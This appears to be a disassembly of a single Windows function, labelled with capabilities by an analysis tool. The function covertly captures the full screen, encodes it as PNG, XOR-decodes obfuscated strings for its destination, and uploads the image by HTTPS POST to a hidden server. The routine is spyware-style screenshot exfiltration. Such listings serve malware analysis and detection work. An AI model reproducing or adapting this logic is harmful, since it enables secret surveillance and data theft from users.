Function at 0x140047680
Capabilities:
Capture screenshot
Encode data using xor
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x358]
sub rsp, 0x418
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
xor ebx, ebx
mov dword [rbp + 0x360], ebx
cmp byte [0x14029c609], bl
jne 0x1400486fa
mov dword [rbp + 0x80], 1
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0x90], rbx
xor r8d, r8d
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x98]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r14, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r12, rax
mov edx, 0x780
mov r8d, 0x438
mov rcx, r14
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdi, rax
mov qword [rsp + 0x70], rax
mov rdx, rax
mov rcx, r12
call qword [sym.imp.GDI32.dll_SelectObject]
mov qword [rbp + 0x38], rax
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x438
mov r9d, 0x780
xor r8d, r8d
xor edx, edx
mov rcx, r12
call qword [sym.imp.GDI32.dll_BitBlt]
lea rax, vtable.Gdiplus::Bitmap.0
mov qword [rbp + 0xb0], rax
mov qword [rbp - 0x50], rbx
lea r8, [rbp - 0x50]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov esi, eax
mov r15, qword [rbp - 0x50]
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0x378], rbx
lea r8, [rbp + 0x378]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
movups xmm0, xmmword [str.X_RSP]
movups xmmword [rsp + 0x50], xmm0
mov ecx, dword [0x1401c2b10]
mov dword [rsp + 0x60], ecx
cmp word [0x1401c2b12], bx
je 0x140047808
mov eax, 0x69
mov word [rsp + 0x50], ax
xor word [rsp + 0x52], 0x32
xor word [rsp + 0x54], 0x33
xor word [rsp + 0x56], 0x34
xor word [rsp + 0x58], 0x35
xor word [rsp + 0x5a], 0x36
xor word [rsp + 0x5c], 0x37
xor word [rsp + 0x5e], 0x38
xor word [rsp + 0x60], 0x39
xor word [rsp + 0x62], 0x3a
mov dword [rbp + 0x368], ebx
mov dword [rbp + 0x360], ebx
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x368]
call qword [sym.imp.gdiplus.dll_GdipGetImageEncodersSize]
mov eax, dword [rbp + 0x360]
test eax, eax
je 0x1400478bb
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x1400478bb
mov r8, rax
mov edx, dword [rbp + 0x360]
mov ecx, dword [rbp + 0x368]
call qword [sym.imp.gdiplus.dll_GdipGetImageEncoders]
mov r9d, ebx
mov r11d, dword [rbp + 0x368]
test r11d, r11d
je 0x1400478b2
nop word [rax + rax]
mov eax, r9d
imul r10, rax, 0x68
mov rax, qword [r10 + rdi + 0x40]
lea r8, [rsp + 0x50]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140047898
add rax, 2
test ecx, ecx
jne 0x140047884
test edx, edx
je 0x1400478a6
inc r9d
cmp r9d, r11d
jb 0x140047870
jmp 0x1400478b2
movups xmm0, xmmword [r10 + rdi]
movups xmmword [rbp + 0xa0], xmm0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor r9d, r9d
lea r8, [rbp + 0xa0]
mov rdx, qword [rbp + 0x378]
mov rcx, r15
call qword [sym.imp.gdiplus.dll_GdipSaveImageToStream]
test eax, eax
cmovne esi, eax
mov dword [rbp + 0xc0], esi
mov rcx, qword [rbp + 0x378]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rbp + 0x1d0]
call qword [rax + 0x60]
mov r13d, dword [rbp + 0x1e0]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
mov r15, rbx
mov qword [rbp + 0x30], rbx
test r13d, r13d
je 0x140047974
cmp r13, 0x1000
jb 0x140047947
lea rcx, [r13 + 0x27]
cmp rcx, r13
jbe 0x14004871e
call fcn.140128a50
test rax, rax
je 0x1400486dd
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140047952
mov rcx, r13
call fcn.140128a50
mov rsi, rax
mov qword [rbp + 0x20], rsi
lea r15, [rsi + r13]
mov qword [rbp + 0x30], r15
mov r8, r13
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
mov rdi, r15
mov qword [rbp + 0x28], r15
jmp 0x14004797c
mov rdi, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x378]
mov rax, qword [rcx]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
call qword [rax + Ordinal_41]
mov rcx, qword [rbp + 0x378]
mov rax, qword [rcx]
lea r9, [rbp + 0x370]
mov r8d, r13d
mov rdx, rsi
call qword [rax + Ordinal_26]
mov rcx, qword [rbp + 0x378]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rdx, qword [rbp + 0x38]
mov rcx, r12
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r12
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
movups xmm0, xmmword [0x1401c2090]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x1401c20a0]
movups xmmword [rbp - 0x18], xmm1
mov eax, dword [0x1401c20b0]
mov dword [rbp - 8], eax
movzx eax, word [0x1401c20b4]
mov word [rbp - 4], ax
mov r8d, ebx
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp r14d, 2
jl 0x140047b4f
movdqa xmm4, xmmword [0x1401ca7a0]
movdqa xmm3, xmmword [0x1401caca0]
movdqa xmm5, xmmword [str.8888]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x24]
movdqa xmm6, xmmword [0x1401ca820]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140047a60
cmp r8d, 0x26
jge 0x140047b93
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x140047b60
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x70]
call fcn.140063430
nop
lea r12, [0x140000000]
lea rax, [r12 + 0x1c4360]
mov qword [rbp + 0xd0], rax
lea rax, [0x1401c2a68]
mov qword [rbp + 0xe0], rax
lea rcx, [rbp + 0x168]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x360], 1
xor r8d, r8d
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xd0], r13
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xcc], edx
lea rcx, [rbp + 0xe8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x150], rbx
mov dword [rbp + 0x158], ebx
lea rdx, [0x1401c19cc]
lea rcx, [rbp + 0xe0]
call fcn.140063cc0
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x60]
mov rcx, rax
call fcn.1400648a0
lea rdx, [0x1401a9f04]
mov rcx, rax
call fcn.140063cc0
mov rcx, rax
lea rdx, str.Content_Disposition:_form_data__name_file___filename_screenshot.png__r_n
call fcn.140063cc0
mov rcx, rax
lea rdx, str.Content_Type:_image_png_r_n_r_n
call fcn.140063cc0
sub rdi, rsi
mov r8, rdi
mov rdx, rsi
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rdx, [0x1401c19d8]
lea rcx, [rbp + 0xe0]
call fcn.140063cc0
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x60]
mov rcx, rax
call fcn.1400648a0
lea rdx, [0x1401c19d0]
mov rcx, rax
call fcn.140063cc0
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
movdqa xmm1, xmmword [0x1401ca740]
movdqu xmmword [rbp + 0x10], xmm1
mov byte [rbp], 0
mov dword [rbp + 0x360], 5
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov ecx, dword [rbp + 0x158]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x140047d64
mov rax, qword [rbp + 0x128]
mov r8, qword [rax]
test r8, r8
je 0x140047d64
mov rax, qword [rbp + 0x108]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x150]
cmovb r8, qword [rbp + 0x150]
sub r8, rdx
jmp 0x140047d9e
test cl, 4
jne 0x140047d94
mov rax, qword [rbp + 0x120]
mov rcx, qword [rax]
test rcx, rcx
je 0x140047d94
mov rax, qword [rbp + 0x100]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x138]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x140047d9e
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x140047dad
lea rcx, [rbp]
call fcn.140063ac0
nop
movups xmm3, xmmword [str.U__WZDS]
movups xmmword [rsp + 0x70], xmm3
movq xmm7, qword [str.ZUV_]
movq qword [rbp - 0x80], xmm7
cmp word [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x140047f66
mov r8d, ebx
cmp r14d, 2
jl 0x140047f2b
movdqa xmm4, xmmword [0x1401caca0]
movdqa xmm5, xmmword [str.8888]
movdqa xmm6, xmmword [0x1401ca860]
movdqa xmm2, xmmword [0x1401ca7a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rsp + 0x70], xmm2
movdqa xmm3, xmmword [0x1401ca7c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, qword [rsp + 0x78]
xorps xmm2, xmm0
movq qword [rsp + 0x78], xmm2
movdqa xmm3, xmmword [0x1401ca7d0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, xmm7
xorps xmm2, xmm0
movq qword [rbp - 0x80], xmm2
jmp 0x140047f66
lea r9, [rsp + 0x70]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x31
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x140047f30
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x60]
call fcn.140063270
nop
lea rdx, [rbp + 0x220]
lea rcx, [r12 + 0x1c2e20]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rcx]
movups xmmword [rdx], xmm1
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm0
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm1
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm0
mov rax, qword [rcx + 0x40]
mov qword [rdx + 0x40], rax
mov eax, dword [rcx + 0x48]
mov dword [rdx + 0x48], eax
movzx eax, word [rcx + 0x4c]
mov word [rdx + 0x4c], ax
mov r8d, ebx
cmp r14d, 2
jl 0x140048137
movdqa xmm5, xmmword [0x1401ca7a0]
movdqa xmm4, xmmword [0x1401caca0]
movdqa xmm6, xmmword [str.8888]
movdqa xmm7, xmmword [0x1401ca860]
lea rcx, [rbp + 0x220]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x60
jl 0x140048040
cmp r8d, 0x67
jge 0x140048187
movsxd rax, r8d
lea r9, [rbp + 0x220]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x31
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x67
jl 0x140048150
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x40]
call fcn.140063270
nop
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.ScreenshotBot_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
test rax, rax
je 0x14004851c
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 7
cmova rdx, qword [rbp + 0x60]
mov r8d, 0x1bb
xor r9d, r9d
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
test rax, rax
je 0x14004851c
lea r8, [rbp + 0x40]
cmp qword [rbp + 0x58], 7
cmova r8, qword [rbp + 0x40]
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r12, rax
test rax, rax
je 0x14004851c
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
mov r9, qword [rbp - 0x60]
add r9, rdx
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
cmp rdx, r9
jne 0x14004826c
movdqa xmm0, xmmword [0x1401ca710]
movdqu xmmword [rbp - 0x38], xmm0
mov word [rbp - 0x48], bx
jmp 0x140048279
sub r9, rdx
lea rcx, [rbp - 0x48]
call fcn.140064a60
nop
mov r8, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
sub rax, r8
cmp rax, 0x2c
jb 0x140048327
lea rax, [r8 + 0x2c]
mov qword [rbp - 0x38], rax
lea r14, [rbp - 0x48]
cmp rcx, 7
cmova r14, qword [rbp - 0x48]
lea rax, [0x1401c1a68]
lea r13, str.Content_Type:_multipart_form_data__boundary
cmp rax, r14
jbe 0x1400482d7
lea rax, [r14 + r8*2]
cmp r13, rax
ja 0x1400482d7
cmp r14, r13
ja 0x1400482cc
mov rdi, rbx
jmp 0x1400482dc
mov rdi, r14
sub rdi, r13
sar rdi, 1
jmp 0x1400482dc
mov edi, Ordinal_45
lea rcx, [r14 + 0x58]
lea r8, [r8*2 + 2]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
add rdi, rdi
mov r8, rdi
mov rdx, r13
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r14 + rdi]
mov r8d, 0x58
sub r8, rdi
lea rdx, [r13 + 0x58]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x48]
lea r13, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
jmp 0x14004833c
mov edi, Ordinal_45
mov qword [rsp + 0x28], rdi
mov edx, edi
lea rcx, [rbp - 0x48]
call fcn.140064bb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x1400483a9
lea rax, [rcx + 2]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp rdx, 7
cmova rax, qword [rsp + 0x70]
mov dword [rax + rcx*2], 0xa000d
mov word [rax + rcx*2 + 4], bx
lea rax, [rsp + 0x70]
jmp 0x1400483c1
mov qword [rsp + 0x20], 2
mov edx, 2
lea rcx, [rsp + 0x70]
call fcn.140064460
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140048432
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004842d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004842d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140128d9c
movdqa xmm0, xmmword [0x1401ca710]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], bx
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x140048487
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048482
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140048482
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140128d9c
lea r9, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova r9, qword [rbp]
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova rdx, qword [rbp - 0x28]
mov qword [rsp + 0x30], rbx
mov eax, dword [rbp + 0x10]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov r8d, 0xffffffff
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400484d8
xor edx, edx
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov byte [0x14029c609], 1
mov rdx, qword [rbp - 0x10]
cmp rdx, 7
jbe 0x14004851c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048516
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140048516
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140128d9c
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 7
jbe 0x14004855f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004855a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004855a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140128d9c
movdqa xmm0, xmmword [0x1401ca710]
movdqu xmmword [rbp + 0x50], xmm0
mov word [rbp + 0x40], bx
mov rdx, qword [rbp + 0x78]
cmp rdx, 7
jbe 0x1400485bb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400485ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400485ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140128d9c
movdqa xmm0, xmmword [0x1401ca710]
movdqu xmmword [rbp + 0x70], xmm0
mov word [rbp + 0x60], bx
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140048602
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400485fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400485fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140128d9c
movdqa xmm0, xmmword [0x1401ca740]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], 0
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xd0], r13
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xcc], edx
lea rcx, [rbp + 0xe8]
call fcn.140062eb0
lea rcx, [rbp + 0xf0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x168]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400486a3
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004869e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004869e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140128d9c
movdqa xmm0, xmmword [0x1401ca740]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
test rsi, rsi
je 0x1400486f0
sub r15, rsi
mov rax, rsi
cmp r15, 0x1000
jb 0x1400486e4
add r15, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400486e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r15
mov rcx, rsi
call fcn.140128d9c
nop
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
movaps xmm6, xmmword [rsp + 0x400]
movaps xmm7, xmmword [rsp + 0x3f0]
add rsp, 0x418
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1400028b0
nop
int3